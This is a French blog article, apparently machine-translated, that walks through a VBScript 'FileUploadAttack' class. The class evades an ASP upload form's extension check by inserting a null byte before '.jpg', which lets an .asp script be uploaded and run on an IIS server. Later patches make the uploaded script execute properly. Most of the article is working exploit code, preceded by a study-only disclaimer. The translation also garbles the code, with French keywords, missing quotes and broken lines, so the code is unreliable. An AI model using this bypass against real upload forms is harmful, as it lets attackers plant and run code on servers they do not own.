Certains des scripts de cet article sont offensants et sont uniquement destinés à l'étude et à la recherche. Veuillez les utiliser dans le cadre légal et raisonnable. Je ne suis pas responsable des pertes causées et je ne fournis pas de conseils techniques sur les attaques de piratage.
Demon a mentionné ce problème aujourd'hui, et cela m'a rappelé un article que j'ai vu auparavant "Téléchargement automatique de fichiers à l'aide d'IE+ADO sans interaction de l'utilisateur - VBSscript". Cet article donne un exemple de script de téléchargement automatique local non interactif. Vous pouvez l'emprunter pour aujourd'hui. Le script original utilise le composant InternetExplorer.Application. Je l'ai réécrit et utilisé WinHttp.WinHttpRequest.5.1 pour obtenir une fonction similaire. Pour plus d'utilisation de ce composant, veuillez vous référer à "Référence de l'objet WinHttpRequest".
Copiez le code comme suit :Option
Fonction explicite file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
' Code modifié depuis http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Ensemble m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Informations dans l'en-tête du champ de formulaire
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'modèle pour en-tête en plusieurs parties
.MPTemplate = Contenu-Disposition : formulaire-données ; nom={champ} ;
filename={file} + vbCrLf + _
Content-Type : {ct} + vbCrLf + vbCrLf
Dim Out
Out = Remplacer (MPTemplate, {field}, FieldName)
Out = Remplacer (Out, {file}, FileName)
mpFields = Remplacer ( Out, {ct}, ContentType)
End Function
'Convertit la chaîne OLE en chaîne multi-octets
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Créer un document multipart/form-data avec le contenu du fichier et les informations d'en-tête
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'Les deux parties autour du contenu du fichier Dans les données du formulaire en plusieurs parties
Pre = -- + Boundary +. vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Créer des données de formulaire à l'aide du champ binaire du jeu d'enregistrements
Const adLongVarBinary = 205
Dim RS : Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convertir la valeur de la chaîne Pre en données binaires
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Convertir la valeur de la chaîne Po en données binaires
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Join Pre + FileContents + Po données binaires
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
Fonction publique sendFile(fileName)
Const Boundary = ---------------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-databorder= + Boundary
Dim FileContents, FormData
'Get fichier source En tant que données binaires
FileContents = file_get_contents(FileName)
'Ce qui suit construit l'extension de fichier malveillante Chr(0) & .jpg
'Construire un document multipart/form-data
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0). ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'Besoin de modifier le contenu suivant avec le contenu approprié
' URL de téléchargement
fileUpload.setUrl http:/ /localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'Le nom de la zone du formulaire de téléchargement
' Le chemin du fichier à téléchargerIf
fileUpload.sendFile(E:/projects/asp/index.asp)=200 Ensuite,
MsgBox a été téléchargé avec succès& fileUpload.getText()
Sinon
MsgBox failedEnd
If
Set fileUpload = Rien
Finappel
de fonction
La fonction de téléchargement WScript.Quit(VBMain())
est un simple téléchargement de fichiers ASP trouvés sur Internet, puis ajoutés au GetFileExtensionName que j'ai décrit dans l'article "L'origine de CHR(0) dans ASP/VBScript et les problèmes de sécurité ça apporte" Déterminez si l'extension est jpg.
Les résultats du test sont les suivants : téléchargement manuel d'asp, échec ; utilisation du script d'attaque ci-dessus pour télécharger des fichiers asp, succès ! Il y a en effet un fichier asp dans le répertoire de téléchargement. Ce fichier asp est également accessible via l'URL du navigateur, mais ce qui est étrange, c'est que l'affichage est vide. Je suis IIS 7 ici. Est-ce un problème de version IIS ? renvoyer le flux binaire du fichier ? D'accord, laissons cette question ici pour l'instant. Il y a d'autres choses à faire, alors commençons par nous écarter.
Tous les packages de code expérimental peuvent être téléchargés ici upload.zip (pour les bogues de code, veuillez vous référer aux instructions de mise à jour ci-dessous).
Mis à jour le 25 décembre 2011.
D'après les commentaires de chacun, le fichier téléchargé est devenu Unicode Little. Problème de codage endian, tout d'abord, je suis désolé parce que j'étais vraiment paresseux à l'époque. La référence principale du code vient d'un étranger, et l'étranger a expliqué la fonction GetFile pour obtenir les données binaires du fichier. Je n'ai pas trouvé l'implémentation. de cette fonction, et j'étais trop paresseux pour faire une lecture binaire, alors je viens de le faire. File_get_contents obtient des données texte. Il s'avère qu'il y a effectivement un problème avec cela. Laissez-moi vous expliquer les mesures correctives ci-dessous. paresseux et convertit directement les données texte en données binaires sur la base existante. En utilisant le composant ADODB.Stream, la fonction est la suivante :
Copier le code Le code est le suivant :
'Convertir la chaîne str du jeu de caractères spécifié en binaire
Fonction strtobin(str, charset)
Avec WSH.CreateObject(ADODB.Stream)
. Type = 2
.Mode = 3
.Ouvrir
.Charset = jeu de caractères
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End With
End Function
Remplacez ensuite la ligne 106 du code ci-dessus par ce qui suit (lire le texte en ASCII) :
Copiez le code comme suit :
FileContents = strtobin(file_get_contents(FileName), ASCII)
Le fichier ASP téléchargé après cette modification est habituellement fichier encodé, puis le navigateur accède à ce fichier, vous pouvez voir que l'ASP est analysé avec succès.
Cependant, cela semble un peu verbeux. En fait, vous pouvez directement ouvrir le fichier en binaire et renvoyer les données. Il y a ici deux étapes : 1. Lire le fichier en mode texte ; Le code en une étape peut faire référence à la fonction suivante qui lit les données du fichier en mode binaire Byte() :
Copiez le code comme suit :
'Renvoie le contenu du fichier En tant que données binaires
Fonction GetFile(FileName)
Dim Stream : Set Stream = CreateObject(ADODB .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End
Je n'écrirai pas le code plus optimisé deFunction
. Il explique principalement une idée de téléchargement. Si vous souhaitez obtenir une implémentation complète du téléchargement, vous pouvez vous référer au "Fichier de téléchargement POST de simulation VBS" de Demon.